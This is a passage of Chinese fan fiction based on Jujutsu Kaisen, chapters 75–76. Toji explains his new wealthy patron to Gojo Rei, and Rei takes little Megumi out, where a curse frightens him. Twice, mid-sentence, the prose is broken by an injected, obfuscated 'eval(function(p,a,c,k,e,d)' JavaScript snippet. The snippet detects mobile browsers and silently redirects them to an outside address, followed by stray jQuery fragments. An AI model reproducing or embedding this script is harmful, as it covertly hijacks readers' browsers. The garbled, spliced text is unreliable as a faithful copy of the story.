“这也不了。” 他继续在冰箱里进行发掘工作。 “说真的,我也不懂你们为什么不吹空调,非要跑到阳台上吹风。” “吹太多空调,惠惠会不舒服的。” 他还不如她细心呢。 “哦,行吧……”他果然满不在意的模样,“对了,给你零花钱。” 说着,数出十张万元大钞塞过来,真是阔绰。五条怜接过,但并没有多高兴。 “又有新的倒霉蛋被你钓到了吗?” 她小声嘀咕,但甚尔只是轻笑一声。 “没错。”他说着,神秘兮兮地抬起一只手,轻轻打在五条怜的脑袋上,“你知道是谁吗?” 她捂着脑袋:“你不说,我怎么知道?” “那就告诉你吧。” 甚尔收回手。 “是东云美智子。” 75.新倒霉蛋 东云美智子……好耳熟的名字。是在电视上听到过吗? 五条怜绞尽脑汁,费劲思索,想了半天大脑还是空空如也。 但要是把“东云”和“美智子”分开来的话……啊,有印象了! “是伞公司的大小姐!”她发出惊呼。 将人体细胞与诅咒结合在一起,从而研究出了“报丧女妖”这种不知道该怎么定性的生物的医药公司,正是东云实业。 在五条怜看来,这公司简直就和《生化危机》里研制出丧尸病毒搞得天下大乱的保护伞公司没有区别! 她也没有忘记,在拍卖舞台上时,曾经听过“美智子”这个名字——这可是拍卖师重点感谢的对象。 一想到甚尔居然和这样一号人物搭上了,五条怜心里酸唧唧的。当然不是嫉妒或是吃醋(这有什么好吃醋的?),她只是觉得很怪,没想到当下和过去又牵连在了一起,而且还是并不多么愉快的一段过去,这种事怎么看都觉得别扭得很。 抱怨的话语,五条怜当然说不出口。想了想,她也只能抱怨一句:“您对大企业的大小姐情有独钟呢。” 这话显然把早已远离他们很久远的华原家大小姐夏梨也说进去了。 甚尔显然有点不快,撇撇嘴,说:“美智子不是大小姐。她是东云实业的创始人。” “意思是您的服务对象升级了?” “不行吗?” “我可没这么说。” 学着他一贯的样子,五条怜耸耸肩膀,本想表达自己并不在意,但蹩脚的模仿让她的动作看起来很像是故意挑衅,也难怪甚尔的拳头会落在她的脑袋上了。 还好还好,甚尔并没有用上十成十的力气,所以她可怜的小脑瓜没有开瓢,至于痛感嘛,也微弱到可以忽略。不过五条怜还是揉了揉脑袋,幽怨地瞪了他一眼。 “要是被她知道报丧女妖身上到底发生了什么事。”五条怜说的对象当然是东云美智子,“你不就倒霉了?” “她已经知道了。” “……诶?” 顾不上揉脑袋了,现在的当务之急是赶紧拖住惊讶到快要掉到地板上的下巴。 五条怜难以置信,像个笨蛋似的张大了眼睛盯着甚尔,震惊于他怎么还能平静地站在冰箱前翻东西吃——甚至还挖走了她才吃了一块的一大板巧克力,真气人! “这不是糟透了吗?”她急急地说,“我们不需要赔钱吗,或者至少向本人赔罪……不对。甚尔,坦白说,你难道是正在——” 话说到一半,她就没好意思再继续下去了,只用微妙的目光盯着甚尔,看得他根本吃不下巧克力了。 “我确实是个没尊严且没有下限的家伙没错。”他郁闷地关上冰箱门,“但也别把我说得这么低劣好不好?” 你还不够低劣吗?五条怜暗戳戳想。 当然了,这话她绝对是没办法直接说出口的。真说了绝对会再挨上甚尔的一记敲打,并且绝对会是铆足了劲的全力打击。 为了自己的脑袋安全,她决定三缄其口,从现在起就不说话了。 叽叽喳喳的小尾巴突然被吓得不做声,世界都随之安静了不少。甚尔满意了,轻哼一声,继续钻进冰箱里找东西吃,于是随口说出的话语也显得很漫不经心。 “其实在我们从黑市回来过后没几天,东云实业的人就找到我了。果然,那次的事情收拾得不够漂亮,所以完全没能躲过他们的法眼。然后我就被带到了那个叫美智子的女人面前,叽叽喳喳解释了一堆……” 五条怜插话进来:“你是不是把我供出来了?” “对啊,不然怎么解释?” “唔……”总觉得有点郁闷,但这也是没办法的,“好吧。” 甚尔瞟了她一眼。确定她不会再插嘴说点什么笨蛋话之后,才接着说下去了。 “她不打算追究责任,因为他们已经开始制造更多的量产品了。那个被我们杀死的报丧女妖,说好听点是‘原型’,实际上就是怀有缺陷的试作品,本来是想要靠它捞一笔钱的,没想到出了这么一桩挺吓人的事。坏消息是拍卖场的信誉降低了,好消息是人们对于报丧女妖这个产品的兴趣提升了,所以她貌似挺高兴的样子。” “这样哦。”五条怜还是有些困惑的地方,“量产型报丧女妖的用途是什么呢?” “不知道。我不感兴趣,所以没问。” “好吧。” 有时候真的会希望甚尔可以多一点好奇心呢。 终于从冰箱里摸到了剩下半袋的草莓味麦片,他一仰头,把麦片统统倒进嘴里,嚼得咔嚓咔嚓响,说出的话语也带上了一点草莓的酸甜香气。 “反正,就报丧女妖的事情,前前后后跑去她那儿捣鼓了好几次,一来二去的,我们就勾搭上了。然后就变成现在这样子了。故事就是这样,五条小姐,你应该听得满意了吧?” 五条怜其实没那么乐意听甚尔的小白脸故事,可他偏偏自顾自说着,并不在意她心不在焉的样子。或许他只是想要把这些话说出来吧。于是她也只好配合着点点头,“哦”了一声。 “总而言之,就现状来说,能搭上新的大富婆,算是好事一桩,对吧?”她必须确认一下。 甚尔慢吞吞点头:“没错,所以多谢你当时闯的祸了。” “嗯……不客气。” 嘴上说着不客气,心里其实根本没办法不介意。 跟在甚尔身后,磨磨蹭蹭地走回客厅,短短的几步路里,她又想了一大堆有的没的。 想到了镰仓,想到了大海,想起华原夏梨,还有第一次同她见面时用上的尴尬身份。 耳垂又开始痛起来了。 五条怜低下头,想要摸摸耳朵,但又怕痛,抬起的手空落落地在空气中停留了一会儿,别扭地收回了。耳垂的疼痛也就此转变成了钻心的瘙痒感,更难受了。 “要是以后和东云美智子见面了,我也要说自己是‘禅院怜’吗?” “放心,你们不会见面的。” 吱呀——甚尔把沙发压出难听的声响,视线不自觉扫过阳台落地窗,毫不意外地看到了骑在丑宝身上、用手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14967155|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏它肥硕脸蛋的魔鬼海胆。 “我和那女人之间就是很纯粹的相互索取的关系。”他的声音似乎变轻了一点,“我需要她的钱,她贪图我的时间和陪伴。就是这么回事而已,不需要什么深入的了解,所以我不会主动和她说自己的事。要是真有一天被问到了,再说‘我有个儿子’这种话吧。” 五条怜眨眨眼:“你打算坦白呀?” “是啊。”甚尔耸肩,“带孩子的男人也可以很有魅力的。” “……” ……有个屁。 五条怜暗戳戳在心里想,还好这点心思并未暴露在脸上。 “那我呢?”想起了很重要的事,她赶紧确认,“要是被发现了我的存在,你打算怎么解释?还说我是你妹妹吗?” “诶?”甚尔蹙眉,“你还想当‘禅院怜’吗?” 五条怜一下子脸红了,她也不知道自己的脸颊在自顾自地热乎个什么劲。她支支吾吾了好一会儿:“不是啦,我没有——” 肯定是看出了她的不情不愿,甚尔大喇喇地摆手。 “行吧行吧。”他显得大度又无奈,“我会说你是我的助手。” 刚才还扭扭捏捏的五条怜一下子来劲了:“真的呀?” 甚尔眯眼瞟她:“这么高兴干什么?” “因为助手听起来很厉害嘛!” “有吗?”他果然还是搞不懂五条怜,耷拉的表情里写着“没品”的评价,“明明听起来就很菜。” “嘿嘿——” 她笑得傻兮兮,几乎是蹦跶着回到了阳台上,笑着把小海胆从丑宝身上抓起来,还拍了拍丑宝那光秃秃的脑袋,意料之外的行动惊得丑宝都僵在原地了。 “怎么了,对你友善一点还不高兴了吗?”她真纳闷,“那我不理你了?” 赶在五条怜的狠话实现之前,丑宝已经自顾自蠕动着走开了——看来是他更不想理她。 真讨厌。 她在丑宝背后做着鬼脸,报复似的把这幅难看面孔维持了十秒钟才收回来,俯身抓起脚边闹腾不停的小海胆。 “举高高!”小海胆发号施令。 “好好好。”五条怜惨遭小海胆奴役,“举高高咯!” 说得兴冲冲的,结果才举了五下,她就彻底脱力了。小海胆委屈巴巴,完全没能尽兴。五条怜也不好意思,但她很快就想到了解决办法。 只要把禅院惠交给禅院甚尔就好啦! 这么想着的她立刻把计划付诸实际,偷溜进屋里,趁着回到在沙发上甚尔不注意,把小海胆塞过去,然后立刻溜走,只余下甚尔恼怒地瞪着她逃窜的背影。 啊啊,真麻烦。他忍不住想。 小海胆站在他的肚子上,把他的腿当成平衡木,走得歪歪扭扭,但脚步飞快。一不小心,跌在了他的膝盖上,倒是也不哭,咯咯咯笑个不停,像个笨蛋。 ……对了,麻烦的笨蛋,家里足足有两个呢。 想到这个现实。甚尔忍不住叹气,嘴角也快抽搐起来了。 压力真大,他想。 76.海胆小狗 “出门玩!” 睡得迷迷糊糊,一只热乎乎的手搭在了脸上,随之而来的还有这声急切的催促,落在五条怜的耳朵里,变得很像是蚊子的嗡嗡叫声。 夏天不都已经过去了吗,怎么还有蚊子?她很纳闷。 “阿怜,阿怜!”有哒哒哒的声音,热乎乎的小手彻底黏在她的脸上了,“出门玩!” “啊……好好……” 前不久出门散步的时候,听到养狗的路人说起自己家的狗有多么爱出门,急切的汪汪声听起来都像是在说“快出门!”。 难道现在听到的“出门玩!”也是小狗在叫吗……不对,家里他们、没养狗吧? 半梦半醒的五条怜更加困惑了。强迫自己睁开眼,最先映入视野的的是一颗巨大的黑色海胆……海胆? 海胆狗?超绝无敌混合生物? 好像冒出了很了不得的想法。 五条怜搓搓脸,硬是把困意从脑海中赶走了一点。 再仔细看看,趴在床边的果然不是什么海胆狗这种奇怪的生物,而是像小狗一样粘人且可爱并且对出门一事执念很深的禅院惠——从某种程度来说,他也是海胆小狗没错了。 “啊……出门?嗯。出门。”她打了个长长的哈欠,眼泪都眯出来了,“你想出门,对吧?” 禅院惠认真地点点头:“嗯!” 总算是把话题理清了。 五条怜探身往外看,客厅里没见到甚尔的踪迹,随口问道:“爸爸不在家了吗?” “爸爸出门啦!”小海胆手脚并用,想爬到她的床上玩,“我们也出门!” 揪着禅院惠的衣领,稍稍用点力,她意外顺利地把他提了起来,顺势丢掉床上。 “我说,你呀。”五条怜眯起眼,摆出一副看透一切的狡猾表情,“你其实就是想出门找爸爸玩,对吧?” 被说中了心事,小海胆瞬间收拢了所有的尖刺,低着脑袋,忽然扑进她怀里,好一记头槌攻击。 “我想和阿怜待一起!”就像是为了证明自己才没有在挂念甚尔,他大声说,“出门玩,出门玩!” “好好好,出门啦出门啦。” 一边哄着他,五条怜一边艰难起身,抱着人形挂件小海胆,缓慢挪动到卫生间,从水槽下方拖出矮凳,这才能够把禅院惠放下来了。 接下来就是刷牙,并且小心翼翼地看护海胆,以防他跑来跑去闯祸。 然后洗脸,并且看护海胆。 再换好衣服,并且看护海胆。 最后,再给他套上出门的外套——现在终于不用分心看护海胆了,因为这份工作即将变成主业。 “哎呀,怎么小了这么多。” 艰难地扣上纽扣,五条怜惊讶地发现上个月才给他买的这件新外套已经变得有些小了,穿在身上,连纤细的手腕都露出来了,她时不时就要帮着禅院惠把衣服往下扯,以免外套总往上跑。 明明买下的时候那么合身的……小孩子长得真有这么快吗?真有点搞不明白了。 牵着禅院惠的手,五条怜决定先不要纠结这种小事情。 盛夏难熬又漫长,可真到了阴冷的秋天,再回望那段旷日持久的炎热,好像也变得短暂得不值一提了。 秋风吹落枯叶,把地面染成金黄色。咚——咔嚓!禅院惠跳着踩扁卷起的枯叶。 每踩扁一次,他都要仰起头来看看五条怜,被风吹得粉扑扑的小脸上满是得意。五条怜忍不住要笑,垂手捏了捏他圆滚滚的脸蛋,夸他真厉害。于是小海胆更来劲了,把“咚——”的一声踩得更响,人行道的砖块都要为之颤动了。 短短的一段路,在踏碎落叶的途中变得分外漫长,五条怜耐心地等待他玩到尽兴——毕竟眼下也没有其他事情需要她去做的了。 甚尔那边,鲜有工作要她帮忙,丑宝已经变成他的主力了。现在她倒是不再为了丑宝嫉妒了,不过这种过分闲散的感觉还是很微妙就是了。 短暂地发了发呆,咚咚的声响变得好沉重,听起来像是秤砣掉在地上。低头一看,小海胆气喘吁吁,累到海胆的尖刺都耷拉下去了。 “累了吗?” 禅院惠不说话,噘着嘴冲她伸出双手。 好嘛,这可是撒娇呢。 五条怜深呼吸了一口气,花了三秒钟时间替自己做足了心理准备,这才扬起一副笑眯眯的面孔,把禅院惠抱在怀里,用力往上一提。 啊,真重。 她第无数次希望自己可以成为像甚尔一样的肌肉壮汉。 一旦把小海胆抱进了怀里,再怎么慢悠悠的路途,也会因为对脱力的恐惧而变得焦躁不少。 不知不觉,五条怜的脚步已经从正常的速度变成了快走,然后一点一点变成了小跑。预计自己的力气能够坚持把他抱过两个红绿灯口,她从现在就忍不住想要缩短煎熬的时间了。 走着走着——也可以说是跑着跑着,路过绿色的邮筒,禅院惠忽然“啊”了一声,猛地转过头,把脸埋进她的胸口,缩成小小的一团,微微发抖。突然变换的重心也差点让五条怜失去了平衡,她赶紧放慢脚步。 “怎么了?” 小海胆不说话。 仔细看看,邮筒上趴着一团深红色的东西,看起来像是一坨烂肉,正要腐烂般融化着。 这是一只咒灵,看起来很骇人,实际上是个不怎么样的家伙。 在东京,咒灵可不是什么稀奇的东西。 大型咒灵且不用说,小型的咒灵也密密麻麻,走在一百米的路上,遇到三四只咒灵完全是正常的事,出门直到现在才看到一只咒灵,可以说是难得的惊喜了。 五条怜早就习惯了咒灵出现在自己的活动范围之中,所以能够完全忽略掉它们的存在,她想所有有点咒力但没能成为咒术师的人都是这样应对的——一味地在意生活之中的咒灵,那多疲惫呀。 被她理所应当无视掉的咒灵,落在禅院惠的眼中,依然是非常可怕的怪物,所以他蒙住了眼睛,想要装作没有看见。 但在今天之前,他好像从没这么做过……在今天之前,他看不到这么弱小的咒灵吗? 啊,是了。一直忽略了,其实惠连丑宝都能看到。 因为太过理所应当,所以五条怜后知后觉地直到现在这才意识到了这一点。 加快步伐,邮筒被甩在身后。铆足了劲走到了三个红绿灯之外的行道树下,这里总算没有任何咒灵了。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14969280|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻摇晃缩在壳里的小海胆,终于让他抬起了头。 “是不是看到那个吓人的东西了?” 禅院惠慢吞吞点头:“嗯……” “很害怕吗?” “嗯。” “没事啦。”她摸摸他的脑袋,“有我在呢,对吧?” “呜……” 看来自己的存在还不够让他安心,他皱起脸,“哇”一下放声大哭,哄了好半天也不好。 没办法,今天的“出门玩”算是彻底泡汤了,五条怜甚至没找到一个机会去解释咒灵是什么东西,好消息是她也还没想到该怎么解释比较好。 从来没人教过她关于咒术师的知识,有些概念她自己也是懵懵懂懂的,实在没办法帮别人。 想了想,赶在甚尔回家的时候,她赶紧向他问起了这件事。 “所以。”她一本正经,“我们要用童话一点的方式向惠惠解释咒灵的定义,还是用最直接的方式说明?” 说起来,丑宝也是咒灵,但他们从没对禅院惠说过那究竟是什么,所以他似乎自然而然认为那是个玩具或是者伙伴了吧。 甚尔拿着手里的烟,久久没有点燃,也久久没有说话。五条怜试着举起手在他眼前挥了挥,毫不意外被他拍开了。 “我眼睛没瞎。”他说。 她赶紧收回手:“我知道的。” “也就是说。”他总算开始掏打火机了,“惠能看到的咒灵变多了,对吧?他是有天赋的。” “是吧……”五条怜挠挠头,“理论上是这样没错。” 他又不说话了,点燃了烟,猛吸一口。 “你能看出他的术式吗?” “啊,术式?我怎么能呢!”她小声嘟哝,“我又不是六眼……” “那就把你们家的六眼找过来。” 这话说得真怪。 “首先,我已经不是他们家的了。其次,我不想去五条家。而且……而且我又见不到五条悟,无从问起!” 只为了探明禅院惠怀有怎样的术式就跑去找将近两年没见面的五条悟——这种事多丢人啊,她可不乐意! 甚尔撇撇嘴,好像还是没有死心。 “要是你和你亲爱的哥哥依然兄妹情深,那么就算是走在街上,你们也能重新相遇的。” “唉——” 很难得的,发生在他们之间的对话,居然是由五条怜发出了这么一声叹息。 “我知道您真的很想知道惠惠有没有术式,但请不要说出这种无厘头的话。” 她一本正经的。 “东京是个大城市,才不是抬头低头都能见到熟人的小村子。走在路上就能碰到了不得的六眼?这种可能性也是低到没有下限的。” 甚尔皱着脸,实在不想多听:“知道了知道了。” 他的期待正式宣告落空,烟也燃到了尽头。 他又点了一支,却只是拿在手里,直到烟灰烧到手指,他才吃痛地丢掉香烟。烟头从顶层公寓飘落,不知道掉到了什么地方去。 晚点时候,五条怜看到他打了个电话。 说了什么?抱歉,她没听到。 因为天一直阴沉沉的,像是要下雨了。